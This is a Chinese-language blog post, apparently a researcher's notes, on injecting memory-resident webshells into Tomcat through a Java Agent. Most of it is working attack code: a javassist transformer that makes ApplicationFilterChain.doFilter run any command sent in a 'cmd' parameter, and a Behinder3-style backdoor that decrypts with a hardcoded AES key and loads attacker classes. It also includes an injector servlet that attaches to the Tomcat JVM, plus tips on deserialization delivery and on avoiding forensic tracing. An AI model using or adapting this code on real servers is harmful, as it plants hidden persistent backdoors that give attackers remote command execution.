Java安全之JavaAgent内存马
[toc]
Tomcat Filter
水一篇学习笔记看网上大多数文章是去Hook的
catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter
方法,因为internalDoFilter方法是自定义filter的入口在进入internalDoFilter方法逻辑之前加入内存马逻辑是最好的。当然Listener的话也是差不多的,去寻找到Request生命周期中最早出现的点然后通过javassist等操作字节码的技术去加入内存马的逻辑即可。
Behinder3Agent
下面来写Behinder3Agent,这里依旧是选择attach模式。当然前面肯定是cmd的内存马,但是可以用一个Agent,Behinder3的只需要改一下transformer中修改字节码的部分即可。
package com.zh1z3ven.Memshell;import javassist.*;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class Behinder3Transformer implements ClassFileTransformer {public static String ClassName= "org.apache.catalina.core.ApplicationFilterChain";@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {if (ClassName.equals(className)){try {ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.get(ClassName);ClassClassPath classPath = new ClassClassPath(classBeingRedefined);classPool.insertClassPath(classPath);CtMethod doFilter = ctClass.getDeclaredMethod("doFilter");doFilter.insertBefore("javax.servlet.ServletRequest.HttpServletRequest request = request;\\n" +"javax.servlet.ServletResponse.response = response;\\n" +"javax.servlet.http.HttpSession session = request.getSession();\\n" +"HashMap var5 = new HashMap();\\n" +"var5.put(\\"session\\", session);\\n" +"var5.put(\\"request\\", request);\\n" +"var5.put(\\"response\\", response);\\n" +" \\n" +"if (request.getHeader(\\"X-HTTP-XML\\").equals(\\"application/xhtml+xml\\")) {\\n" +" try {\\n" +" String var6 = \\"ea298159be8ebd1c\\";\\n" +" response.setHeader(\\"X-HTTP-XML\\", \\"application/xhtml+xml\\");\\n" +" session.putValue(\\"u\\", var6);\\n" +" javax.crypto.Cipher var7 = javax.crypto.Cipher.getInstance(\\"AES\\");\\n" +" javax.crypto.spec.SecretKeySpec var8 = new javax.crypto.spec.SecretKeySpec((session.getValue(\\"u\\") + \\"\\").getBytes(), \\"AES\\");\\n" +" var7.init(2, var8);\\n" +" String var9 = request.getReader().readLine();\\n" +" java.lang.reflect.Method var10 = java.lang.Class.forName(\\"java.lang.ClassLoader\\").getDeclaredMethod(\\"defineClass\\", byte[].class, Integer.TYPE, Integer.TYPE);\\n" +" var10.setAccessible(true);\\n" +" byte[] var11 = var7.doFinal((new BASE64Decoder()).decodeBuffer(var9));\\n" +" java.lang.Class var12 = (Class)var10.invoke(this.getClass().getClassLoader(), var11, new java.lang.Integer(0), new java.lang.Integer(var11.length));\\n" +" var12.newInstance().equals(var5);\\n" +" } catch (Exception var15) {\\n" +" }\\n" +"}\\n");byte[] bytes = ctClass.toBytecode();return bytes;} catch (NotFoundException e) {e.printStackTrace();} catch (CannotCompileException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}return new byte[0];}}
因为tomcat是jre环境,而
com.sun.tools.attach.VirtualMachine
是JDK下的类,在Tomcat运行时是无法获取到的,可以通过反射+URLClassLoader来进行Agent的加载。
CMDShell Transformer
package com.zh1z3ven.Memshell;import javassist.*;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class CMDMemshellTransformer implements ClassFileTransformer {public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {className = className.replace(\'/\', \'.\');if (className.equals(ClassName)) {ClassPool cp = ClassPool.getDefault();if (classBeingRedefined != null) {ClassClassPath classPath = new ClassClassPath(classBeingRedefined);cp.insertClassPath(classPath);}CtClass cc;try {cc = cp.get(className);CtMethod m = cc.getDeclaredMethod("doFilter");m.insertBefore(" javax.servlet.ServletRequest req = request;\\n" +" javax.servlet.ServletResponse res = response;" +"String cmd = req.getParameter(\\"cmd\\");\\n" +"if (cmd != null) {\\n" +"Process process = Runtime.getRuntime().exec(cmd);\\n" +"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\\n" +"new java.io.InputStreamReader(process.getInputStream()));\\n" +"StringBuilder stringBuilder = new StringBuilder();\\n" +"String line;\\n" +"while ((line = bufferedReader.readLine()) != null) {\\n" +"stringBuilder.append(line + \'\\\\n\');\\n" +"}\\n" +"res.getOutputStream().write(stringBuilder.toString().getBytes());\\n" +"res.getOutputStream().flush();\\n" +"res.getOutputStream().close();\\n" +"}");byte[] byteCode = cc.toBytecode();cc.detach();return byteCode;} catch (NotFoundException | IOException | CannotCompileException e) {e.printStackTrace();}}return new byte[0];}}
MANIFEST.MF/pom.xml
<plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-jar-plugin</artifactId><version>3.1.0</version><configuration><archive><!--自动添加META-INF/MANIFEST.MF --><manifest><addClasspath>false</addClasspath></manifest><manifestEntries><Agent-Class>com.zh1z3ven.Memshell.Behinder3FilterAgent</Agent-Class><Can-Redefine-Classes>true</Can-Redefine-Classes><Can-Retransform-Classes>true</Can-Retransform-Classes></manifestEntries></archive></configuration></plugin>
之后依然有一个小坑点,在测试时发现一直抛一个异常:最后发现应该是MANIFEST.MF文件的问题,通过pom.xml去自动生成的MANIFEST.MF文件会默认多很多东西,比如下面这段报错应该就是在MANIFEST.MF文件多了javassist依赖声明的问题。
Exception in thread "Attach Listener" java.lang.reflect.InvocationTargetExceptionat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(InstrumentationImpl.java:386)at sun.instrument.InstrumentationImpl.loadClassAndCallAgentmain(InstrumentationImpl.java:411)Caused by: java.lang.NoClassDefFoundError: javassist/NotFoundExceptionat com.zh1z3ven.Memshell.Behinder3FilterAgent.agentmain(Behinder3FilterAgent.java:11)... 6 moreCaused by: java.lang.ClassNotFoundException: javassist.NotFoundExceptionat java.net.URLClassLoader.findClass(URLClassLoader.java:381)at java.lang.ClassLoader.loadClass(ClassLoader.java:424)at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:331)at java.lang.ClassLoader.loadClass(ClassLoader.java:357)... 7 moreAgent failed to start!
那就需要不通过Maven package生成jar,通过IDEA Build去生成jar0x01 src目录下创建/META-INF/MANIFEST.MF文件,填写好文件内容MANIFEST.MF: 依然注意在最下面多两行空格。
Manifest-Version: 1.0Can-Redefine-Classes: trueAgent-Class: com.zh1z3ven.Memshell.Behinder3FilterAgentCan-Retransform-Classes: true
0x02 配置BuildPorject Structure ==> Artifacts ==> Add JAR(From modules with dependencies, 去掉main/java目录。配置好后通过Build Artifacts…生产jar包即可,默认会输出到out目录下。
这样就可以自己改动.MF文件了
测试类
因为Tomcat运行时是JRE环境,所以可以通过反射+ClassLoader的方式,通过反射调用
com.sun.tools.attach.VirtualMachine#JVM pid)
方法以及
loadAgent(JAR Path)
加载Agent。 尽量反射写好,后续改动到ysoserial的createTemplatesImpl方法中会比较方便,因为其中也会用到javassist。
package com.JavaAgentTest;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.File;import java.io.IOException;import java.net.URL;@WebServlet("/AgentInject")public class Behinder3AgentMain extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {inject();resp.getWriter().println("Behinder3 Agent Memshell Inject Success!");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doGet(req, resp);}public static String agentPath = "/Users/xxx/JavaSourceCode/JavaCode/JavaAgent/out/artifacts/JavaAgent_jar/JavaAgent.jar";public void inject() {// System.out.println(System.getProperty("java.home"));// /Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/jre// 0x01 获取tools.jarjava.lang.String toolsjarPath = System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar";java.io.File toolsjar = new File(toolsjarPath);// 0x02 URLClassLoader加载tools.jar中的com.sun.tools.attach.VirtualMachine/VirtualMachineDescriptor类java.net.URL url = null;try {url = toolsjar.toURI().toURL();java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new URL[]{url}, null);java.lang.Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");java.lang.Class<?> vrtualMachineDescriptor = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");// 0x03 寻找当前系统中所有运行着的JVM进程java.lang.reflect.Method listMethod = virtualMachine.getDeclaredMethod("list",new java.lang.Class[]{});java.util.List<Object> pidlist = (java.util.List<Object>) listMethod.invoke(null, new Object[]{});for (int i = 0; i < pidlist.size(); i++) {Object o = pidlist.get(i);java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName");Object name = displayName.invoke(o, new Object[]{});// 0x04 找到Tomcat进程,attachif (name.toString().contains("org.apache.catalina.startup.Bootstrap")){java.lang.reflect.Method attach = virtualMachine.getDeclaredMethod("attach", new Class[]{vrtualMachineDescriptor});// 这里调的attch重载方法,attach可以通过pid也可通过相关jvm进程的vrtualMachineDescriptor对象传参Object machin = attach.invoke(virtualMachine, new Object[]{o});// 0x05 loadAgentjava.lang.reflect.Method loadAgent = machin.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent",new Class[]{String.class});loadAgent.invoke(machin, new Object[]{agentPath});//0x06 detachjava.lang.reflect.Method detach = virtualMachine.getDeclaredMethod("detach", new Class[]{});detach.invoke(machin, new Object[]{});break;}}} catch (Exception e) {e.printStackTrace();}}}
访问路由
反序列化注入的话就是需要把测试类的代码抠出来,用反射+javassist的格式写一遍,重写createTemplatesImpl方法即可,这个就和该ysoserial工作类似不在深究了。Spring和Tomcat思路就类似了,Hook点换成相应Controller入口或者Interceptor入口即可
几个需要注意的点
首先是注入的流程1编写Agent代码,主要是需要先add了我们自己写的Transformer,之后遍历已经加载的类,比如找到Tomcat的
ApplicationFilterChain
,再retransformClasses重新加载,此时的字节码就被我们修改了。需要注意的几个点:1、javassist语法的坑,其实之前改ysoserial就遇到了,可以参照上面代码去写。2、重新加载已经被Tomcat加载过的类3、Tomcat运行时环境是JRE环境,没有tools.jar,可以通过反射+URLClassLoader加载4、MANIFEST.MF通过pom.xml去自动生成会多加很多的信息,包括创建者等等,建议还是通过配置build去自己写此文件,可以少踩一些坑,也减少被溯源的风险5、最后也没能实现behinder3的javassist,踩了蛮多坑,但感觉JavaAgent去打内存马在实战中的场景应该并不多,还是通过Filter/Interceptor这些去打会比较方便(个人感觉)
Reference
https://y4er.com/post/javaagent-tomcat-memshell/https://github.com/IndustriousSnail/javassist-learn